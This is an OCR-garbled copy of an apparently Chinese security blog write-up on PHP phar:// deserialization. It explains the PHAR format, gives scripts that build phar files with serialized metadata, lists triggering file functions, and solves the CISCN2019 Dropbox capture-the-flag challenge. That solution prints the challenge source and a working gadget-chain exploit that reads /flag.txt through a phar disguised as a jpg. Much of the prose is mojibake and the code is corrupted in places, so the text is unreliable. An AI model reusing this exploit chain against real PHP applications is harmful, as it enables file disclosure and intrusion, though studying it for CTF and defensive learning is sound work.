20217111 FIAPHARMBEATPHP P T - Ha%K . RERIRTER

FIF PHAR X #t4T PHP RIFFIHEGE - 225, fE5HiIVFa

2181 phar:// XX phar XEEFATXXERIER, H=X phar SXHFHRY Meta—data #1T/K

FIIERIE, PIREIS R —E R FIIMNIRIE,

echo “Hello, PHP!”

PHAR (“Php ARchive”) & PHP FR93T B4, HBYT Java FAY JAR X4, 7& phpb5.3 & E SAOMATRZAFTE.
PHAR SXAHREINEGZE RIER, S RE— Phar XHEEE(E4 php.ini B9 phar.readonly, 1E505:
phar.readonly = 0O

18IS phar:// THXXS phar SXEFHITSHRIFRTS, KEX phar X4 Meta—data #H1TRFIIMIRIF, PIBEIEM—
ERFICRE.

AXHABIRHNREMRENEH, MIEENAERRT PHAR RFFIHGERENTRE,

1 PHAR {44543

stub phar: SRR, &I xox<?php x0GHALT_COMPILER();?>, iZEZR D FA HALT COMPILER();?> #1745
E, SNPBIEIRR, BIEMNASTRHIEK,

manifest: EENAHNEMEFER, EFMN Meta-data SARFIHIFERNZ04E,

Global Phar manifest format
Size in bytes Description
&4 hytes Length of manifest in bytes (1 MB limit)
4 hytes Number of files in the Phar
2 bytes APl version of the Phar manifest (currently 1.0.0)
4 bytes Global Phar bitmapped flags
4 ytes Length of Phar alias
” Phar alias (length based on previous)
& hytes Length of Phar metadata (@ for none)
L4 Serialized Phar Meta-data, stored in serialize() format
at least 26 * number of entries bytes entries for each file

https://www.anquanke.com/post/id/245621 177


https://p5.ssl.qhimg.com/t015d0c4e9264ce7cf7.png
https://p4.ssl.qhimg.com/t010c6f1bf68c98e854.png

2021/7/1 FIJIPHARPMSGHATPHP SUFFI (L IGE - 2%, ZeRIRTEE

contents: [EENHHAR
signature: %, ESHERE

2 4 PHAR &

FRAEFA T

<?php

Class Test{

¥

Sphar = new Phar("phar.phar");
Sphar -> startBuffering();

Sphar -> setStub("<?php __HALT_COMPILER();?>");

S0 = new Test();

50 -> data="test';

Sphar -> setMetadata($o0); //i2EMeta-data

Sphar -> addFrom5String("test.txt", "test");

E=5=1=E 0!
Sphar -> stopBuffering();

>

/=& Stub

[/ [RINE SRR

RN phar XX, £/ 16 HITEEE, AJEER] Meta—data FRIF TR

phanphar]

Offzet g 1 2 3 4 5 &
00000000 IC 3F 70 €8 70 20 5F
00000010 50 4% 4C 45 52 28 28
00000020 |00 01 OO 00 OO0 11 OO0
00000030 00 00 OO0 4F 3A 34 3R
00000040 | 7B 73 3R 34 3A 22 64
00000050 22 T4 65 73 T4 22 3B
00000060 2E 74 TEB T4 04 00 00
00000070 OC TE TF D8 BE& 01 00
00000080 00 D8 BF 25 95 1% BC
00000080 %8 OD 8B EC 02 00 00

3 MARFFE

MRLAE a0

<?php

class Test{

=
5F
3B
0o
61
K]
0o
0o
03
ula]

function  destruect(

echo $this -> data; //FTSESEHT

¥

include('phar://phar.phar');

7>
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AZWPHP projectrphp test. php

s, I-. Ay '11{'-'4."“]'-1' |r‘"||' B.C |I’| |

BAELRIE PHAR XHAREREE TN, 1B EliE
include(‘phar://phar.jpg’); BB rIfd & & FZIM,

JUSFPIE XA IRIE A

ACTF &/

AENER Il & phar REIME,

fileatime filectime
file_put_contents file

fileinode filemtime
is_dir is_executable
i5_readable is_writable
copy unlink

U R FHIM Bl /B RER,

[EHATZ I LMBER phar BO/E88#R0, BIANMECHAL. jog, SHHAT

file_exists file_get_contents
filegroup fopean

filecwmer fileperms

15 file 15 link
is_writeable parse ini_file
stat reac i

Bt [CISCN2019 %4EE X Dayl Web1]Dropbox (H%4%:
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ay1%20Web1%5DDropbox)

HEANBHGE, BRIEMIKS LEXH, LERRELEERERER

Rin NE, BERSUFEEY, (BEABEEEE flag.txt

T2 RER W TURAS,
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<2php

session_start();

if {!igwsgAIS_SESSIOH['ngin 4R
header("Location: login.php");
die();

if (tisset($_POST[ filenameT)) {
die();

include "class.php";

chdir($_SESSION['sandbox']);

sfile = new File(}{

Sfilename = (string) 5_POST[ filename'];

if (strlen(sfilename) < 40 && $file->open(Sfilename)) {
sfile-=detele();
Header("Content-type: application (json");
Sresponse = array( success” = true, "arror” =>"");
echojson _encode(Sresponse);

Felse{
Header("Content-type: application fjson");

Sresponse = array("success” == false, "error” == "File not exast");

echojson_encode(Sresponse);
i

=

<?php
error_reporting(o);
$dbaddr = "127.0.0.1%
$dbuser = "root”;
Sdbpass = "root";
$dbname = "dropbox";
5db = new mysqli(Sdbaddr, Sdbuser, Sdbpass, Sdbname);

class User{
public 5db;

public function __construct() {
global $db;
Sthis-»db = $db;

}

public function user_exist{ Susemame) {

Sstmt = Sthis->db->prepare("SELECT “username’ FROM “users” WHERE

‘username” = ? LIMIT 1;");
Sstmi->bind_param("s", Susemame);
Sstmt->execnte();
Sstmt->store_result();

Scount = Ssimi->num._rows;
if (Scount === o) {
return false;
¥
rehurn true;
b

public function add_user(Susername, Spassword) {
if (Sthis->user exist(Susername)) {
return false;
1
Spassword = shai(Spassword . "SiAchGHmFX");

Sstmt = Sthis->db->prepare("TNSERTINTO "users* ('id", 'username’,

“password ") VALUES (NULL, 2, );");
Sstmt->bind_param("ss", Susername, Spassword);
Sstmt->exemnta();
rehurn true;

}
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public function verify_user(Susermame, Spassword) {
if (1Sthis->user_exist{Susername)) {
return false;

1

Spassword = shai($password . "SLAchGHmFx");

Sstmt = Sthis-»db->prepare("SELECT " password * FROM “users’ WHERE
‘username” = 2;");

Ssmmt->bind_param("s", Susemame);

Sstmt->execute();

Ssmmt->bind_result(Sexpect);

Sstmt->fetch();

if (isset(Sexpect) && Sexpect === $password) {

refurn troe;
¥
return false;
¥

publicfunction __destruct{) {
Sthis->db-=close();
1
}

classFileLst {
private Sfiles;
private Sresults;
private Sfimcs;

publicfunction __construct{Spath) {
Sthis->files = array();
Sthis->results = array();
Sthis->fimcs = array();
Sfilenames = scandir($path);

Skey = array_search(".", $filenames);
unset{ 3filenames Skey]);
Skey = array_search("..", Sfilenames);
unset({Sfilenames[ Skey]);

foreach (Sfilenames as $filename) {
sfile = new File();
Sfile--open(Spath . Sfilename);
array_push(Sthis->files, $file);
Sthis-results[Sfile->name()] = array();
h
¥

publicfunction __call(Sfunc, Sarzs) {

array_push(Sthis->funcs, $func);
foreach (Sthis->files as file) {
Sthis-=results[Sfile-=name)1[$fimc] = $file->3ime0;
}
1

public function __destruet() {

Stable = '<divid="container" class="container"= <div
class="table-responsive"<table id="table" class="table table-bordered table-hover
sm:font"";

Stable .= '<thead><tr>";

foreach (Sthis >funcs as Sfuno)

Stable.='<th scope="col" class="text-center">'. htmlentities(Sfunc) . '</th>";

h

Stable .= '<th scope="col" class="text-center">0pt</th>";

Stable.="</thead><tbody=";

foreach (Sthis->results as $filename => Sresult) {

Stable .='<tr>";
foreach (Sresult as Sfunc => Svalue) {
Stable.='<td class="text-center">' . himlentities($value) . '</td>";
¥
Stable .="<td class="text-center"filename="". himlentities(filename) . "><a
href="#" class="download"> & {f%=</a> [ <ahref="#" class="delete" > it </a></td >}
Stable.="</tr>";
¥
echo Stable;
¥
¥

class File {
public Sfilename;

public function open ($filename) {
Sthis->filename = Sfilename;
if (file_exists(Sfilename) && lis_dir(Sfilename)) {
return true;
else{
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return false;
1
1

public function name() {
return basename( Sthis--filename);

i

publhicfunction size() {
Ssize = filesize(Sthis->filename);
$units = array( B',' KB,' MB,' GB'," TB);
for (51 = o; $size »= 1024 && 51 < 4; 51++) Ssize /= 1024;
retum round($size, 2). Sunits[$i];
h

publicfunction detele() {
unlink(sthis-=filename);

¥

publicfunction closa() {
return file_get_contents(Sthis-»filename);

b
¥

i

DHTRICES
PIABEFIMIBRSUERMER 7 File 2209 delete R, File 2R delete {8 7 unlink K3, BB A phar FEIME,

Y4 ZEZ class.php B File 2289 close() REFIEA T file_get contents (KK, PILUEEN 4, BEEELMAIR, K
TR IAEZ FileList B9__call BRER, WNRFATAILALE FileList 4K files MEAB AT 12N File, REHZEA LU
17 $FileList—>close(), FUAIDAREUHFHAT FileList BOTMREHRERERT . BAIEE User HRROTMREL, HATT
$db—>closel(), so, FAIiE User 89 $db SEEET FileList Ft4T7 7 »

FFEE: User 2609 $db BN FileList 25, User s£BITHIRREINIT close HE —> @Ak FileList B9__call (RER, 1k
$hle 187 File, #H47 $hle B close KL —>File $147 close EEUH, 125 $hlename NABIEENAI 4 —>Filelist I
HER, HUITITMXEEL, BIR4ER,

AR phar SRS

<?php,
class User{
public 5db;

h

class File{
public sfilename;
public function __ construct(Sfilename){
Sthis-=filename = Sfilename;

i
¥

class FileList{
private Sfiles;
public function __construct(){
Sthis->files=array(new File('/flag.txt");
¥
i

Suser = new User();
Suser->db = new FileList();

o~ 1 ™1 s 1 "y
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Spnar = new Fnari pnar.pnar
Sphar -> startBuffering();

Sphar -> setMetadata(Suser);

Sphar -> stopBuffering();
s

Sphar->addFromString("test.tut", "test");

Sphar -> setStub("<?php _ HALT COMPILER();?=");

AN phar X, BRESN jpg, L&
M E& Sz E4MERL filename 8 ‘phar://phar.jpg’, 13EEXE flag 14
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